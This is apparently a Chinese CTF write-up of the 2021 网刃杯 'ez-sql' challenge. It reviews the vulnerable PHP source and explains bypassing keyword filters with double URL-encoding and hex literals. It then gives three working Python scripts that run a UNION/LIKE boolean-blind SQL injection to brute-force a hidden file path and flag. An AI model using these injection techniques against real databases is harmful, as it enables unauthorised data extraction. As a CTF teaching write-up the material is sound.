2021网刃杯CTF ez-sql

0x00 前言

InCTF2021原题:Vuln Drive - InCTF Internationals 2021,这里直接借用其源码。


include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct ");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
    highlight_file(__file__);
    die();
}
if($check || !(strlen($_GET['part2'])<124))
{
    echo $query2."
"
; echo "Not this way
"
; } else { $result=mysqli_query($con,$query3); $row=mysqli_fetch_assoc($result); if($row['name']==="tester") echo "Success"; else echo "Not"; //$err=mysqli_error($con); //echo $err; } ?>

0x01代码审计

第一个 if 没什么好说的。第二 if 需要 $check 返回 false,即使SELECT * FROM accounts where id=1 and password='".$inp."';产生语法错误。正常情况下我们传入/?part1='自然能使其报错。但是别忘了,在到达第一个 if 前,我们必须先绕过正则,那么如何绕过正则?注意到 $inp 在正则检测后与带入查询前会再进行一次url解码:$inp=urldecode($inp);,所以这里我们可以通过对'的双url编码%2527来完成绕过(web服务器会自动对从 $_GET 接受到的数据进行一次url解码)。

成功过了两个 if 来到 else,不难发现注入点产生在 $real_inp 变量,分析SELECT ".$real_inp.",name FROM accounts where name='tester';以及 $real_inp 的过滤,不难发现通过以往的构造闭合来实现注入似乎不太可行,由于没有过滤 union 与 like,所以我们可以采用联合查询+模糊查询的方式实现注入,由于过滤掉了单引号,所以我们可以采用十六进制进行绕过。插入 payload 后的查询语句:

 SELECT 1,name from adminfo where path like 0x7825 union select 1,name FROM accounts where name='tester'

0x02 漏洞利用

当第一个 select 有值时,页面会返回 Not,反之则返回 Success。根据上述思路,我们可以编写脚本逐个字符爆破出 path,其实也就相当于布尔盲注。

下面贴几个网上查询到的EXP:

import requests

s=requests.Session()
url="http://web.challenge.bi0s.in:41666/"
path=""
s.post(url+'login',data={"username":"asdasd","password":"asdadssad"})
for i in range(33):
    for i in '1234567890abcdef':
        x = (path+i).encode().hex()
        data = {"url": f"http://123%40localhost?part1=%252527&part2=1,name from adminfo where path like 0x2f{x}25 union select 1"}
        r=s.post(url+'dev_test',data=data)
        if('Not' in r.text[:10]):
            path+=i
            print("Path :",path,end='\r')
            break
data = {"url": f"http://123%40localhost?part1=%252527&part2=1,name from adminfo where path=0x2f{(path).encode().hex()} union select 1"}
r = s.post(url+'dev_test', data=data)
print(r.text)
if('Not' in r.text[:10]):
    print("Length :",len(path))
    print("Path is correct!")
if path:
    print("Path :",path)
    r=s.get(url+'return-files?f=/'+path)
    print("Flag:",r.text)
#-- coding:UTF-8 --
import requests
def strtohex(s):
    ss = "0x"
    for i in s:
        ss +=  str(hex(ord(i))).replace("0x",'')
    # print ss
    return ss
burp0_url = "http://web.challenge.bi0s.in:6007/dev_test"
burp0_cookies = {
    "session": ".eJwVjTEKwzAMAL9SNHeQLSuS85liyTKUQgtJM4X8ve52wx13gu_beHw_r3jDCkkJh2ZlxIq6uKSSW_TBjYPIqDlX6Yxwh-PZYT3hdszMxNXNO-dERbTWwrJEFJtgbALX9PfY_odMcP0AvAogbQ.YRgHIA.fcpz2sNbS4x4Hoj7zt6WOQ-U-WY"
}
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://web.challenge.bi0s.in:6007", "Connection": "close",
    "Referer": "http://web.challenge.bi0s.in:6007/", "Upgrade-Insecure-Requests": "1"
}
character = "/zaqwsxcderfvbgtyhnmjuiklop0123456789."
#
flag = ""
for j in range(1,100):
    for i in character:
        if j >= 1 and j <=6 :
            payload = strtohex(flag + i + "%")
        else:
            payload = strtohex("%" + flag[-6:] + i + "%")
        # sql = "1,2 as name from information_schema.schemata where schema_name like {} union select 1".format(payload)
        sql = "path,name from adminfo where name=0x61646d696e and path like {} union select 1".format(payload)
        # sql = "1,2 as name from adminfo where path like {} union select 1".format(payload)
        burp0_data = {
            #name:admin dumb again
            #path:not
            #database:sys challenge mysql information performance
            #challenge:accounts adminfo
            #accounts:current total name host username id password
            #adminfo:name path
            "url": "http://192.168.112.2/?part1=%252527%26part2={}".format(sql)}
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        # print i + " : " + res.text
        if "SELECT * FROM accounts where id=1 and password=" in res.text:
            print "字符过长!!!"
            exit(0)
        if "Not" in res.text:
            flag += i
            print flag
            break
        if i == ".":
            print flag
            exit(0)
import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
    for c in '1234567890abcdefghijklmnopqrstuvwxyz':
        payload=flaga+str(hex(ord(c)))[2:]
        sql = f'1,username from user where password like 0x{payload}25 union select 1'
        r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
        if 'nop' in r.text:
            flaga = flaga+str(hex(ord(c)))[2:]
            flag+=c
            break
        print(flag)

0x03 总结

In a word,SQL注入主要考察 CTFer 对 bypass 与 payload 的理解,有时需要我们通过恶意的闭合与注释将 payload 插入其中;有时则需要我们像这道题一样通过特定语句将 payload 和谐地融入其中。

相似题型:2021美团杯CTF ez_sql
相关知识:注入-单引号过滤家族的一次次bypass

0x04 引申

相关常识:为什么要进行URL编码
脚本知识:python中[-1] [:-1] [::-1] [n::-1] 切片的用法

你可能感兴趣的:(CTF,sql,php,数据库)